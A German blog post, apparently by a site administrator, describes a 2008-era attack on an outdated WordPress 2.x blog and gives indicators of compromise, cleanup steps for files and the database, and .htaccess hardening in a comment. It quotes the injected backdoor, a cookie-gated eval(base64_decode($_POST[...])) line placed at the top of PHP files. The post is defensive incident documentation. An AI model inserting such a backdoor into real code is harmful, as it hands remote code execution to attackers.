WordPress 2.x - Securityproblem bis Version 2.5

Heute wurde ein von mir verwaltetes WordPress-Blog Opfer eines Angriffs, bei dem diverse Dateien innerhalb der WordPress-Verzeichnisse erstellt wurden und Änderungen in der Datenbank statt fanden. Aufgefallen war mir dies, weil in dem Blog eine Fehlermeldung im Kopfbereich auftauchte - dies ist bei dem Angriff aber keineswegs immer der Fall. Zu dem Exploit gibt es bisher nicht besonders viele Infos im Netz, laut einem Thread auf wordpress.org externerLink sind alle Versionen bis 2.5 betroffen, das von mir verwaltete Blog hatte noch eine 2.04er Version, auf der nur die bisher bekannten und für mich relevanten Sicherheitslücken gepatcht worden waren. Diverse Blogs wurden seit dem 10. April Opfer der Sicherheitslücke, bei mir erfolgte der Angriff aus den USA.

Wie erkennt man, dass man angegriffen wurde?

Im Dateisystem liegen zahlreiche Dateien, die auf _new.php, _old.php, .php.pngg, .php.jpgg bzw. .php.giff oder Kombinationen davon, wie z.B. _new.php.pngg enden. Diese Dateien beginnen alle mit einem vorhandenen Dateinamen (z.B. einem Bild- oder Scriptnamen), werden alle mit Datum+Uhrzeit des Angriffs erstellt und enthalten php-Code zum Auslesen von Systemdaten und zur Veränderung von Dateien auf dem Server. Damit werden diverse WordPress-php-Dateien verändert und es wird versucht, dass Änderungsdatum auf das ursprüngliche Datum der Dateien zurückzusetzen, was bei mir aber nicht geklappt hat. Die jpgg-/giff-/pngg-Dateien etc. zeigen bei direktem Aufruf im Browser eine 404er Fehlermeldung an, der Angreifer kann aber mit geeigneten Scripten die vorhandenen Werte, also Systemdaten, aus dem Script auslesen. Die vom Exploit durchgeführte Änderung in den WordPress-php-Dateien bewirkt eine Ergänzung der 1. Zeile um eine Cookie-Abfrage in der Form <?php if(md5($_COOKIE[’_wp_debugger’])==”-hashcode-”){
eval(base64_decode($_POST[’file’])); exit; } ?>
jedoch ohne Zeilenumbruch und an Stelle von -hashcode- steht halt ein md5-Cookie-Hash. Zu diesen Änderungen gehört ein Cookie namens _wp_debugger und zu den Exploit-Dateien ein Cookie namens qwerty
Außerdem werden in der WordPress-Datenbank mind. 1 User und einige weitere Einträge angelegt. Teilweise wird außerdem eine Datei namens wp-info.txt erstellt. Letztere enthält sämtliche in der DB gefundene Userdaten inkl. Paßwort und alle gefundenen eMail-Adressen. Falls die Datei bereits ausgelesen wurde (kann man in den Logfiles überprüfen), dürfte dies eine schöne Spam-Quelle werden.
Zum Zeitpunkt des Angriffs finden sich in den Apache-Logfiles Zugriffe mit post-Referern auf die Datei /wp-admin/theme-editor.php und auch Zugriffe über das Classic-Theme fand ich in meinen Logfiles.

Wie schließt man die Sicherheitslücke?

  1. alle Dateien mit den Endungen _new.php, _old.php, .php.pngg, .php.jpgg bzw. .php.giff löschen, das geht mit dem ftp-Tool des TotalCommanders sehr flink, eine Sortierung nach Dateidatum beschleunigt das ganze evtl.; Alternative: WordPress komplett runterlöschen und alle Dateien aus einer lokalen Sicherung wieder einspielen
  2. die Datei /wp-admin/theme-editor.php löschen
  3. alle nicht benötigten Themes löschen, falls man das Classic-Theme verwendet, auf ein anderes Theme wechseln
  4. falls vorhanden, die Datei wp-info.txt löschen

Wie bekommt man seine WP-Installation wieder bereinigt?

Die gefährlichen Dateien ist man erstmal wieder los, fehlt nur noch die Datenbank. Mit dieser verbindet man sich per phpMyAdmin und durchstöbert die Tabellen nach verdächtigen Inhalten und wenn man schon mal dabei ist, guckt man auch gleich, ob nicht evtl. schon frühere erfolgreiche Angriffe dort integriert sind.

  1. alle nicht benötigten User aus der Tabelle wp_users löschen, der Exploit hatte einen User WordPress” angelegt
  2. alle Einträge in der Tabelle wp_usermeta mit soeben entfernten User-IDs löschen, da ist teilweise JavaScript-Code enthalten
  3. die Tabelle wp_options nach Merkwürdigkeiten durchsuchen, z.B. falsche Plugins im Key active_plugins; bei mir war ein Key wordpress_options mit kryptischem Code enthalten, habe ich einfach gelöscht
  4. da manchmal nach WP-Angriffen im Blog unerwünschte Spam-Posts hinterlassen werden, sollte man unbedingt noch die Tabelle wp_posts durchsehen. Mit SELECT * FROM `wp_posts` WHERE `post_author`>1 kann man alle Posts anzeigen lassen, die nicht vom Admin stammen, bei mehreren echten Usern im Blog muss die “1″ entsprechend erhöht werden. Aber auch eigene Posts sollte man wenigstens stichprobenartig nach Änderungen durchsuchen.
  5. ganz wichtig: das Datenbank-Passwort ändern! Das macht man je nach verwendetem Server/Hosting irgendwo im Admininterface. Beim Shared Hosting müsste sowas irgendwo in den FAQs des Providers erklärt sein. Nachdem man das Passwort geändert hat, muss dieses noch in die Datei wp-config.php eingetragen werden. Falls weitere Passwörter entwendet worden sein könnten, auch diese ändern, sicherheitshalber auf jeden Fall sämtliche User-Paßwörter, da deren md5-Hashes in der WP-DB enthalten sind.
  6. wenn man alles fertig hat, kontrolliert man sicherheitshalber noch mal nach verdächtigen Dateien und Änderungen in der Datenbank - schließlich dauert die Abarbeitung der obigen Schritte einige Zeit und ein Angreifer könnte zwischendurch erneut Unfug bauen.

Fazit

Die obige Anleitung sollte in ähnlicher Form zum Entfernen und Bereinigen zahlreicher Angriffe auf WordPress und andere Blogsysteme angewendet werden können. Da immer wieder Sicherheitslücken entdeckt und leider auch ausgenutzt werden, ist auch ein htaccess-Schutz des Adminverzeichnisses /wp-admin/ eine Möglichkeit, sich zusätzlich zu schützen. Alternativ kann man natürlich auch diverse nicht benötigte WP-Funktionen deaktivieren und komplett aus dem Source löschen - dadran sitzt man allerdings einige Wochen …

Eine Reaktion zu “WordPress 2.x - Securityproblem bis Version 2.5”

  1. admin

    Nachdem ich mir das Ganze noch mal in Ruhe angeschaut habe und auch die wenigen anderen halbwegs aussagekräftigen Quellen zu dem Problem begutachtet habe, bin ich zu dem Schluß gekommen, dass dies wohl nur ganz eingeschränkt für die Version 2.5 zutreffen dürfte. Der Fehler liegt schlicht und ergreifend in älteren Themes, bei denen die seit längerem bekannten XSS-Lücken nicht gefixt wurden. Zwar macht jeder, dem sein Blog nicht völlig unwichtig ist regelmäßig Updates oder schließt wenigstens manuell die bekannten Sicherheitslücken, aber das oft noch vorhandene Standard-Theme wird dabei gerne vergessen und genau das nutzen die Angreifer aus.
    Dennoch kann man getrost sagen: alle nicht benötigten Dateien (wie z.B. den Theme-Editor) kann man zur zusätzlichen Erhöhung der Sicherheit löschen.

    Hier noch die .httaccess-Datei, die man in die Verzeichnisse wp-content und wp-includes kopieren sollte:

    Order Allow,Deny
    Deny from all
    <Files ~ “.(css|jpe?g|png|gif|js)$”>
    Allow from all
    </Files>

    Für das Verzeichnis wp-admin ist eine .httaccess mit Passwortschutz sinnvoller, die sieht in etwa so aus:

    AuthUserFile /var/www/security/.htpasswd
    AuthGroupFile /dev/null
    AuthName “Admin-Login”
    AuthType Basic
    <Limit GET>
    require valid-user
    </Limit>

    zu letzterer gehört dann natürlich noch die Passwort-Datei .htpasswd und dafür müßte man sich dann ein Paßwort erzeugen lassen. Am einfachsten macht man das mit einem der unzähligen Generatoren, die sich so im Netz finden, z.B. mit dem hier externerLink. Als Verzeichniss für die Paßwort-Datei sollte man etwas wählen, was nicht in einem über das Web erreichbaren Verzeichnis liegt und entsprechend den Pfad in der .htaccess anpassen.

Einen Kommentar schreiben